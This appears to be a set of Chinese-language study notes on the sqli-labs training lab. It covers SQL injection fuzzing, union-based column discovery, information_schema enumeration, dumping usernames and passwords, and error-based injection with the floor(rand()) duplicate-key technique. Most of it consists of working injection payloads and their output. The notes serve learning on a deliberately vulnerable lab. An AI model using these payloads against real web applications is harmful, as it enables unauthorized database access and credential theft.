sqli-labs series part2-part6
[Penetration Testing]
notes about video2-6 / Lesson1-5
source:
https://www.youtube.com/user/dhakkan3/videos
https://github.com/Audi-1/sqli-labs
comment
fuzzing
basic functions
union
and/or based
error based
part2
Lesson1
何为fuzzing:
指通过不同的测试字符串,找到报错点
注释:
–+ –%20
# %23
/* */
part3
lesson3
lesson4
fuzzing时,相比单引号双引号更好的方法是:使用反斜线!
\会把后面的字符转义,在报错中直接可以看出对方后台是单引双引和括号.
判断左边取出的column个数(是php取出的个数,不是数据库中的总列数)
order by 1.2.3…4的时候报错
或者使用union select 1,2,3
找出的结果表明源代码是:select col1,col2,col3 from XXX where…
验证这三个查询的col之中哪个可以回显:
id=-1 union select 1,2,3
这样使id查询结果返回为空,则回显就是union后面的数字了
屏幕上显示:
user:2
pass:3
证明2和3的位置可以回显
然后在可以回显的位置使用version() database() user() current_user等函数获取基本信息
part4
Lesson1
information_schema的利用
查某个数据库中的表名
位置
select table_name from information_scema.tables where table_scema=”security”
函数
select table_name from information_scema.tables where table_scema=database()
遍历
select table_name from information_scema.tables where table_scema=database() limit 0,1….1,1…..2,1….
一次输出
select group_concat(table_name) from information_scema.tables where table_scema=database()
查表中字段名
select column_name from information_schema.columns where table_name=”users”
dump字段的值
select 1,group_concat(username),group_concat(password) from users –+
part5
Lesson1
如何在不能使用注释(–+)的情况下利用
这个时候order by 会失效,我们仍需使用union找到col数量
id=-6′ union select 5,10,3 AND ‘1
这条语句前面用不存在的值保证输出只有union后的select
后面用and ‘1’闭合后面的单隐号,且不影响前面语句返回
但是上面这条语句的回显是
user:10
pass:1
pass为什么是1呢?是因为 ( 3 and ‘1’)是优先运算的,它返回的结果是boolean:true,也就是1.这样以来,我们可用于回显的点只有col2这一个了
@@datadir
这种不能使用注释的情况,无法直接dump值
也就是union select 5,table_name,3 from … and ‘1=1
这样会报错
解决方式是使用基于错误信息的回显!
part6
Lesson5
基于错误信息
基本函数:
select count(*) from …; =>返回select * from …的数量
rand(); => 0-1之间的float
select floor(2.1231231); => 2(向下取整)
构造随机生成0和1的函数
select floor(rand()*2);
注意这个时候返回的表,它的title是"select floor(rand()*2);"
select floor(rand()*2) as dumb; 它的title就是dumb
select floor(rand()*2) dumb; 同样它的title也是dumb
group by
select table_name,table_schema from information_schema.tables group by table_schema;
以table_schema为基准显示,即在显示的列表里,table_schema的值是不允许重复的,而此时table_name并没有显示完整.
构造payload
select database(); => security
select (select database()); => security
select concat((select database())) => security
select concat(0x3a,0x3a,(select database()),0x3a,0x3a) => ::security::
select concat(0x3a,0x3a,(select database()),0x3a,0x3a)a => ::security::
select concat(0x3a,0x3a,(select database()),0x3a,floor(rand()*2))a => ::security::1 / ::security::0
select concat(0x3a,0x3a,(select database()),0x3a,floor(rand()*2))a from information_schema.tables => 127 rows
select count(*),concat(0x3a,0x3a,(select database()),0x3a,floor(rand()*2))a from information_schema.tables group by a;
=>
不报错的情况:
count(*) | a
60 | ::security::0
67 | ::security::1
(注意,要多尝试几遍)
多尝试几遍之后会报错:
Duplicate entry ‘::security::1’ for key ‘group_key’
可控点是(select database())
可以替换成(select current_user)等等
dump数据时将可控点替换成:
(select table_name from information_schema.tables where table_schema=database())
=> Subquery returns more than 1 row
添加limit语句,改为:
(select table_name from information_schema.tables where table_schema=database() limit 0,1)
=> Duplicate entry ‘::emails::0’ for key ‘group_key’